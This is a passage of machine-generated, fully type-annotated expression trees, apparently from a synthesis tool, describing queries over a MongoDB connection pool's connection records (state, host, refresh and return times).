'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))), ('conn_next_refresh', ECall('after', (EVar('lastUsed').with_type(TNative('mongo::Date_t')), EVar('refreshRequirement').with_type(TNative('mongo::Milliseconds')))).with_type(TNative('mongo::Date_t'))), ('conn_returned', EVar('now').with_type(TNative('mongo::Date_t'))), ('conn_last_used', EVar('retId').with_type(TInt())), ('conn_dropped', EGetField(EUnaryOp('the', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), '==', EVar('i').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_dropped').with_type(TBool())))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('_var436').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EBinOp(EGetField(EVar('_var436').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_host').with_type(TNative('mongo::HostAndPort')), '==', EVar('p').with_type(TNative('mongo::HostAndPort'))).with_type(TBool()), 'and', EBinOp(EGetField(EVar('_var436').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_state').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), '==', EEnumEntry('CHECKED_OUT').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT')))).with_type(TBool())).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('_var437').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('_var437').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TBool())).with_type(TBool())).with_type(TBool()))).with_type(TList(TNative('mongo::HostAndPort'))), ELambda(EVar('p').with_type(TNative('mongo::HostAndPort')), ECall('after', (EArgMax(EMap(EMap(EFilter(EBinOp(EBinOp(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), '-', ESingleton(EUnaryOp('the', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), '==', EVar('i').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), '+', ESingleton(EMakeRecord((('conn_state', EEnumEntry('READY').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT')))), ('conn_host', EGetField(EUnaryOp('the', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), '==', EVar('i').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_host').with_type(TNative('mongo::HostAndPort'))), ('conn_iface', EGetField(EUnaryOp('the', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), '==', EVar('i').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))), ('conn_next_refresh', ECall('after', (EVar('lastUsed').with_type(TNative('mongo::Date_t')), EVar('refreshRequirement').with_type(TNative('mongo::Milliseconds')))).with_type(TNative('mongo::Date_t'))), ('conn_returned', EVar('now').with_type(TNative('mongo::Date_t'))), ('conn_last_used', EVar('retId').with_type(TInt())), ('conn_dropped', EGetField(EUnaryOp('the', EMap(EFilter(EVar('conns').with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EGetField(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_iface').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), '==', EVar('i').with_type(TNative('mongo::executor::ConnectionPool::ConnectionInterface*'))).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('c').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_dropped').with_type(TBool())))).with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('_var438').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EBinOp(EBinOp(EGetField(EVar('_var438').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_host').with_type(TNative('mongo::HostAndPort')), '==', EVar('p').with_type(TNative('mongo::HostAndPort'))).with_type(TBool()), 'and', EBinOp(EGetField(EVar('_var438').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_state').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), '!=', EEnumEntry('CHECKED_OUT').with_type(TEnum(('READY', 'PROCESSING', 'CHECKED_OUT')))).with_type(TBool())).with_type(TBool()))).with_type(TBag(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('_var439').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EVar('_var439').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))))).with_type(TList(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool()))))), ELambda(EVar('_var440').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), EGetField(EVar('_var440').with_type(TRecord((('conn_state', TEnum(('READY', 'PROCESSING', 'CHECKED_OUT'))), ('conn_host', TNative('mongo::HostAndPort')), ('conn_iface', TNative('mongo::executor::ConnectionPool::ConnectionInterface*')), ('conn_next_refresh', TNative('mongo::Date_t')), ('conn_returned', TNative('mongo::Date_t')), ('conn_last_used', TInt()), ('conn_dropped', TBool())))), 'conn_returned').with_type(TNative('mongo::Date_t')))).with_type(TList(TNative('mongo::Date_t'))), 